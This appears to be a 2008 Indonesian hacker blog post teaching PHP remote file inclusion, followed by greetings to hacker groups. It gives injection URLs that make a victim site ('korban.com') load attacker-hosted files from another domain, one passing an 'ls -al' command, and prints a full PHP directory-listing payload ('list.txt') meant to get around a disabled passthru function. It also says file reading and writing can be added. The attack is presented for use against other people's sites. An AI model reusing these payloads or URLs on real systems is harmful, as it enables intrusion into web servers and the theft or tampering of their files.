Loading

Saturday, November 8, 2008

PHP injection

Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang sering dipergunakan dalam aksi ‘php injection’ adalah ‘ls -al’ untuk melihat isi direktori. Seperti misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt &?cmd=ls -al

Dimana isi dari http://www.situsku.com/cmd.txt adalah
// begin of cmd.txt

// end of cmd.txt

Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari passthru di’disable’ oleh sang admin. Tentunya hal ini dilakukan oleh sang admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat script untuk melihat isi direktori.

Berikut script yang penulis modifikasi dari php manual:

// begining of list.txt
function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo “

Directory of $mydirectory “;
if($handle = opendir($mydirectory)) {
while (false !== ($file = readdir($handle))) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {

// Socket
$info = ’s’;
} elseif (($perms & 0xA000) == 0xA000) {

// Symbolic Link
$info = ‘l’;
} elseif (($perms & 0×8000) == 0×8000) {

// Regular
$info = ‘-’;
} elseif (($perms & 0×6000) == 0×6000) {

// Block special
$info = ‘b’;
} elseif (($perms & 0×4000) == 0×4000) {

// Directory
$info = ‘d’;
if ($file != “.”) {
if ($file != “..”) {
$strdir[] = $mydirectory . $file;//preg_replace(’//./’,’/’,$file);
}
}

//return $strdir;
} elseif (($perms & 0×2000) == 0×2000) {

// Character special
$info = ‘c’;
} elseif (($perms & 0×1000) == 0×1000) {

// FIFO pipe
$info = ‘p’;
} else {

// Unknown
$info = ‘u’;
}

// Owner
$info .= (($perms & 0×0100) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0080) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0040) ?
(($perms & 0×0800) ? ’s’ : ‘x’ ) :
(($perms & 0×0800) ? ‘S’ : ‘-’));

// Group
$info .= (($perms & 0×0020) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0010) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0008) ?
(($perms & 0×0400) ? ’s’ : ‘x’ ) :
(($perms & 0×0400) ? ‘S’ : ‘-’));

// World
$info .= (($perms & 0×0004) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0002) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0001) ?
(($perms & 0×0200) ? ‘t’ : ‘x’ ) :
(($perms & 0×0200) ? ‘T’ : ‘-’));

$array_file_owner = posix_getpwuid(fileowner($file));
$array_file_group = posix_getgrgid(filegroup($file));

$info .= ” ” . $array_file_owner[’name’] . ” “;
$info .= $array_file_group[’name’] . ” “;
$info .= filesize($file) . ” “;
$info .= date(”M d Y”,filemtime($file)) . ” “;
$info .= $file;

echo “
$info”;
}
closedir($handle);
}
return $strdir;
} // end of function lookdir

$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(”.”);

?>
// end of list.txt

Saat kita coba inject dengan menggunakan list.txt, misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/list.txt

akan menghasilkan isi direktori berikut permissionnya.Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan menulis/membuat sebuah file.


-----------------------------------------------------
(original posted by : exnome)
-----------------------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAFKAN ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo

0 komentar:

Categories

Stats

kumpulblogger